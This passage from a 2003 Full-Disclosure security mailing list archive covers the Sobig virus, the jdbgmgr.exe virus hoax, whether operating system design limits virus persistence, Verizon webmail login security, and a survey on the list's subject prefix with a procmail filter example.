actually offering information begines to dwindle to a handful. (Let's
see, 29a, sysinternals, some NT books, some posts and articles about
this NT books, rootkit.com). 

The problem here is that 29a has also written some of the most prolific
viruses ever. Sure, it is opensource. It also probably infected your
network.

Whoever wrote this latest sobig virus made it multi-threaded.
Multi-threading is not the most technical task a developer can do, but
it can sure be a complex difficulty. 

Regardless, the difficulty about adding dlls to a virus is not just the
size, but the signature it would provide. You would then not only have
to worry about your own binary altering itself to evade detection, but
also someone else's.

All this for what? You can find the pst files - the raw outlook files -
and grep everything from them. Why use outlook at all? For sending mail?
That just connects to your webserver and uses complete plain text to
send, then disconnects.

 

> 
> 
> 
> Regards
> Thor Larholm
> PivX Solutions, LLC - Senior Security Researcher
> 
> 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] JAP back doored

[Thor Larholm]

RIP

The userbase of any anonymity service stays, and dissappears, with the trust.



- Original Message - 
From: "error" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
Sent: Thursday, August 21, 2003 7:20 PM
Subject: [Full-Disclosure] JAP back doored


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] jdbgmgr.exe hoax virus?

[Dan Stromberg]

If y'all were using a threaded MUA, we might not get so many nearly
identical answers to the same question...  mutt (text), evolution (gui),
sylpheed (gui), mahogany (gui) all run on linux (plus some other
platforms), and all have this ability.  Probably others too.  Except for
[EMAIL PROTECTED] Microsoft's broken threading "standard" - outlook messages don't
thread properly.

On Thu, 2003-08-21 at 08:53, Rizwan Jiwan wrote:
> It is a hoax
> http://www.symantec.com/avcenter/venc/data/jdbgmgr.exe.file.hoax.html
>  
> -Riz
> -Original Message-
> From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]
> Sent: Thursday, August 21, 2003 11:05 AM
> To: [EMAIL PROTECTED]
> Subject: [Full-Disclosure] jdbgmgr.exe hoax virus?
> 
> 
> Hi everyone,
>I'm getting warnings that the file jdbgmgr.exe which
> shows up  under properties as a java debugger file (create
> date 1999) is actually a virus which will shut down your 
> machines in 14 days. The warning states that it copies your
> address book and sends itself out. 
>Does anyone have info on this? Is this a hoax?
> 
> Thanks.
-- 
Dan Stromberg DCS/NACS/UCI <[EMAIL PROTECTED]>



signature.asc
Description: This is a digitally signed message part

RE: [Full-Disclosure] Re: Administrivia: Testing Emergency Virus Filter..

[Drew Copley]

> -Original Message-
> From: Gary E. Miller [mailto:[EMAIL PROTECTED] 
> Sent: Wednesday, August 20, 2003 5:38 PM
> To: Drew Copley
> Cc: [EMAIL PROTECTED]
> Subject: RE: [Full-Disclosure] Re: Administrivia: Testing 
> Emergency Virus Filter..
> 
> 
> Yo Drew!
> 
> On Wed, 20 Aug 2003, Drew Copley wrote:
> 
> > I don't know how that guy thought that the smtp client 
> portion of this 
> > code was an OS issue... How that is OS design. I don't know 
> why such 
> > people would be offering their opinion on this.
> 
> The difference is this between and secure OS and an insecure one.
> 
> On an Insecure OS, the virus gets in. glues itself on 
> anywhere in the machine.  Maybe it attaches to a boot sector, 
> maybe appends itself to a system file, edits registry, maybe 
> all the above and a lot more, whatever.  User logs out, the 
> virus still runs as admin or root.
> 
> Some virii even have hooks to turn off personal firewalls in 
> an insecure OS.
> 
> On a Secure OS, the virus can only write to the (normal) 
> users home directory.  Easy to find.  Easy to delete.  Virus 
> can not write to registry, boot sector, system directories, 
> etc.  Then when the user logs out his processes are 
> terminated or he is warned of something still running.  So 
> virus does not continue after log out.
> 
> On a secure OS, the (normal) user can not edit the personal 
> firewall setting so the cirus can not bypas that easily.
> 
> Very secure OS can add even more restrictions on what a user 
> can do.  Like prevent the user from running daemons, bots, etc...
> 
> The makes a huge difference in how easy it is to be infected, 
> how easy it is to detect infection and how easy to disinfect.

Yes, now, in these regards, this is true and accurate, thanks.

As far as software goes, I would not argue that the personal firewall
could be not bypassed, as there really is not such a system yet which
protects against process injection and other hooking techniques... Well,
except for some linux tools like systrace. (Granted, tools on Windows
like securewave could, but that prevents anything untrusted from
running).

So, it is difficult to separate, but I believe the OS should be
seperated from the software which runs on it... Which brings us back to
secure class ratings, which your post hints at and which I believe is an
excellent standard as to "how secure our OS" is. (Common Criteria
ratings: http://www.commoncriteria.org/docs/aboutus.html).




> 
> RGDS
> GARY
> --
> -
> Gary E. Miller Rellim 20340 Empire Blvd, Suite E-3, Bend, OR 97701
>   [EMAIL PROTECTED]  Tel:+1(541)382-8588 Fax: +1(541)382-8676
> 
> 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] [Fwd: Caveat Emptor: Verizon's email service and ol 'live' customer support challenges]

[Myers, Marvin]

I too use Verizon
DSL, and unlike you, I do not have the same issue with the spam folder as you. My
spam folder is not a copy of my Inbox and it automatically empties instead of
filling up. Check your settings on the options page. I get over 400 spam
e-mails a day and have never had my mailbox fill up. And I have only a 10MB
limit. As for the insecure login, I do agree somewhat, with the exception that
of all of the people I know who use it I have not heard of one of them being
compromised. Can’t say the same for Yahoo and the other
freebies.

 

 

-Original
Message-
From: Adam H. Pendleton
[mailto:[EMAIL PROTECTED] 
Sent: Thursday, August 21, 2003
11:51 AM
To: [EMAIL PROTECTED]
Subject: [Full-Disclosure] [Fwd:
Caveat Emptor: Verizon's email service and ol 'live' customer support
challenges]

 

Observations from a
Verizon customer (emphasis is mine):

 Original Message 

>>Recently switched to Verizon's dsl service. Following experience should be >noted by present and prospective Verizon email users.>>Today, after returning from a 2 day weekend away from downloading email >from the server, got a warning mesage that my inbox (which holds 30 meg!) >was close to being full.>>Reason: my 'spam filter box' -- which I had disabled as it is useless >--  held 24 meg! of mail (basically copies of my inbox). As my 'spam >filter box' which is supposed to automatically be cleaned out every 2 days >has not yet been cleared, I was close to my limit. As I get about 130 spam >messages every 12 hours! such double counting of incoming messages by >Verizon can quickly fill up most user's inbox and start bouncing messages.>>The warning suggested that I go to Verizon's web based email >(netmail.verizon.net) to delete unwanted messages. I did that.>>What I found when I went there was not comforting.>>Unlike Yahoo, and other popular web based email providers, Verizon does >not provide a 'secure' sign in option to its web based email system. Nor >is its sign in automatically encrypted. Such ommision is hardly consonant >with Verizon's publicly stated concern for the privacy and online security >of its users.> ahp 

[Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Chris Cappuccio]

Hey folks,

ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING. 

The subject header is going to change.

This is a survey to see whether people want:

1. To have no subject prefix, that is, we remove [Full-Disclosure]
or
2. To shorten the subject prefix from [Full-Disclosure] to [FD]
or 
3. Do nothing

1. The first choice is preferable for me and, I would hope, for most folks. 
Len says he didn't really want it when he started the list anyways.  So we are
actually going to change it now.

2. Choice two may be preferable for people who can only filter their incoming
messages based on the subject prefix.  So, if you WANT there to continue
to be a subject prefix, SPEAK UP!!!

3. Choice three sucks and if anyone wants this SPEAK UP so we know just
how many people want this.  This is the least preferrable as it clutters
the Subject header and makes the list harder to read through for those of us
using a text based e-mail client.

For those of you using procmail or a compatible filter, a good match
for Full-Disclosure that relies on headers you will always see in
list messages goes like this:

:0:
* [EMAIL PROTECTED]
full-disclosure

That matches this header:

Sender: [EMAIL PROTECTED]

Alternately, you can tell your Pegasus/Mozilla/Outlook/OE/Whatever
to match on this header.

-- 
Nullum magnum ingenium sine mixtura dementiae fuit -- Seneca

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] jdbgmgr.exe hoax virus?

[Chris DeVoney]

Here's a useful URL:

www.snopes.com

And a specific:

http://www.snopes.com/computer/virus/jdbgmgr.htm

In short, yes, it's a hoax.

cdv



-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of
[EMAIL PROTECTED]
Sent: Thursday, August 21, 2003 8:05 AM
To: [EMAIL PROTECTED]
Subject: [Full-Disclosure] jdbgmgr.exe hoax virus?


Hi everyone,
   I'm getting warnings that the file jdbgmgr.exe which shows up  under
properties as a java debugger file (create date 1999) is actually a virus
which will shut down your  machines in 14 days. The warning states that it
copies your address book and sends itself out. 
   Does anyone have info on this? Is this a hoax?

Thanks.

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html